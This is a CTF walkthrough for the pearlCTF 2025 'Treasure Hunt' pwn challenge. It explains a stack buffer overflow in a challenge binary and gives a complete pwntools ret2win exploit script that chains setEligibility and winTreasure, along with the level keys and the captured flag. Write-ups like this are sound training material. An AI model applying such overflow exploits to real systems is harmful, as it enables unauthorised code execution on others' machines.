Treasure Hunt
Description
Are you worthy enough to get the treasure? Let's see...
Links: nc treasure-hunt.ctf.pearlctf.in 30008
Files: treasurehunt.zip
Solve Walkthrough
This is a classic ret2win challenge.
First, I check the ELF protection with
checksec
.
[*] '/home/hurtz4eva/Nextcloud/CTF/international/pearlCTF/2025/pwn/treasurehunt/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
The binary only have the NX / DEP protection, which means that we can't inject a shellcode. Let's decompile the binary using Ghidra.
We got a bunch of interesting functions here.

Here's a decompiled code of all known functions in
vuln.c
.
// main function.
undefined8 main(void)
{
setup();
puts("Welcome, traveler! Your quest for the Key of Eternity begins now...");
enchanted_forest();
desert_of_sands();
ruins_of_eldoria();
caverns_of_eternal_darkness();
chamber_of_eternity();
return 0;
}
From all the function symbols above, we can see the pattern in the
main
function that is calling some functions fromunchanted_forest
(level 1) untilchamber_of_eternity
(level 5).What is every level/function does ? It just compared the key in each level. If it's correct, you can go to the next level until you reach out last level, which is level 5.
After we successfully reach out to the last level, you see in the
chamber_of_eternity
function is happen BOF vulnerability infgets
function. The buffer is only take 64 Bytes, but we can input until 500 Bytes.So, the objective is very straighforward. After we at the last level, we can do ret2win attack to
winTreasure
function to get the flag.But, another problem is we can't directly get the flag until the
eligible
global variable is changed to 1. How we can change it? Simple, we can jump to thesetEligibility
function first, and then jump to thewinTreasure
function.Here's my final exploit script.
#!/usr/bin/env python3
#filename: exploit.py
from pwn import *
context.binary = elf = ELF("./vuln", checksec=0)
context.log_level = "debug"
# Prepare the payload.
win_addr = p64(elf.symbols['winTreasure'])
set_eligibility = p64(elf.symbols['setEligibility'])
key_lvl1 = b"whisp3ring_w00ds"
key_lvl2 = b"sc0rching_dunes"
key_lvl3 = b"eldorian_ech0"
key_lvl4 = b"shadow_4byss"
key_lvl5 = b"3ternal_light"
payload = b"A"*(64 - len(key_lvl5))
payload += b"B"*8
payload += set_eligibility
payload += win_addr
# Send all valid keys got from check_key function.
is_remote = True
if is_remote:
io = remote("treasure-hunt.ctf.pearlctf.in", 30008)
else:
io = elf.process()
# Send the valid key according to it's level.
io.sendline(key_lvl1)
io.sendline(key_lvl2)
io.sendline(key_lvl3)
io.sendline(key_lvl4)
# Send the last valid key for level 5 and also the payload to win_addr.
io.sendline(key_lvl5 + payload)
io.interactive()
If we run the exploit script remotely, we can get a shell.

Flag
pearl{k33p_0n_r3turning_l0l}
Last updated